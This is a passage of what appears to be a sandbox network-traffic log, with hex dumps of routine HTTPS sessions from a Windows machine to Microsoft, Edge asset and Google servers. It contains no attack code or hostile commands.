ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d b9 f8 4a 3a 06 39 87 Data Ascii: 0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>J:9
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: fb 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad ba 65 8d f2 aa de 35 Data Ascii: DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewWe5
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: a3 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d 14 50 5d 28 7c 07 9c Data Ascii: :fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~P](\|
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: f4 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb 67 75 fb f1 97 bf fe Data Ascii: 9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:gu
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: ad 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a 54 87 09 2c df 70 99 Data Ascii: 3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:T,p
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: 34 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 4d 0c 6d 44 68 ea 50 Data Ascii: 4=%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$MmDhP
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: 87 c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 83 1e ae 82 2c 32 d0 Data Ascii: nh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u,2
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: 1a 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 3d 99 b2 b8 fb 19 23 Data Ascii: '3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9=#
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: 5e 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f cf c7 58 11 76 5a 6f Data Ascii: ^N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gODXvZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	59023	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 11:49:19 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=242069 Date: Fri, 26 Jul 2024 11:49:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	59032	13.107.246.60	443	5408	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:20 UTC	711	OUT	GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 11:49:20 UTC	583	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:20 GMT Content-Type: application/octet-stream Content-Length: 79192 Connection: close Content-Encoding: gzip Last-Modified: Wed, 22 May 2024 23:09:58 GMT ETag: 0x8DC7AB44D2CA6C5 x-ms-request-id: 55790a49-f01e-003d-5438-dfdd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240726T114920Z-15c77d89844hjwbfcf3rfbta7400000001a000000000184k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-26 11:49:20 UTC	15801	IN	Data Raw: 1f 8b 08 08 46 7b 4e 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: F{Nfasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-07-26 11:49:20 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-07-26 11:49:20 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-07-26 11:49:20 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-07-26 11:49:20 UTC	14239	IN	Data Raw: 96 38 e6 e1 28 aa 7a 68 03 ee 80 b5 3b 12 61 75 e9 1b 80 49 37 e3 81 63 57 87 03 5d 30 c4 2c 68 be 29 95 24 e0 73 e2 94 ba 7c 22 47 ea b4 f3 4a ab de 10 bb 0f 22 b0 e3 03 f1 16 c4 09 e2 54 66 ca 62 e0 bd 45 b4 68 87 69 72 a9 a8 3a 28 8c ad c8 95 24 60 28 0b c5 a8 db e3 d5 17 cd 43 46 b4 fb 46 fd a3 14 49 08 2b a0 d4 0b 48 65 a7 34 02 ce 86 25 ec 4d 18 c8 06 95 b7 db ae 2c d4 04 dd 90 c7 1a 26 c2 da 18 8e c3 e7 b6 d0 48 5c c7 b0 14 4c 7c f1 b4 2a ac 33 ac 8a 9e 31 0d 6c 3e aa 0c 15 a1 45 32 ac 4e d6 6f ba 9a 27 26 95 df 33 99 0b 20 7d af b2 62 2d 9c ea d1 32 e1 30 9b 8a 31 68 6d 15 9c 98 ab c8 c6 e3 7e e5 00 84 e0 e3 a8 2a 88 4f 2a 47 73 00 26 98 78 bc 7a 46 b8 72 83 b9 60 67 8e 22 40 d7 fa c3 ee f3 d0 41 41 2f 43 d3 eb 75 57 f1 23 82 0d a8 53 cf 60 24 25 Data Ascii: 8(zh;auI7cW]0,h)$s\|"GJ"TfbEhir:($`(CFFI+He4%M,&H\L\|31l>E2No'&3 }b-201hm~O*Gs&xzFr`g"@AA/CuW#S`$%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	59033	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 11:49:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=228344 Date: Fri, 26 Jul 2024 11:49:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-26 11:49:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	59078	142.250.186.68	443	9004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:38 UTC	1074	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.150" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: NID=516=hoEfo425YnKdFGHqMFfRYCfYV9ZeWx-yRvThiBrQp37vIZPKX09WdWdTReSgKyFqb9gQk5gXCSFIvz9cIXxZpfKpRKqljJFPZiza4ILadO68fCRsIt7dFHG1CYdAvLyDZ-Uzl4rUwt3dUfP-2OKpDg3jNBFgqGIcACNEFWs5LVKuJq8
2024-07-26 11:49:38 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Jul 2024 10:22:22 GMT Expires: Sat, 03 Aug 2024 10:22:22 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 5236 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 11:49:38 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-26 11:49:38 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-26 11:49:38 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 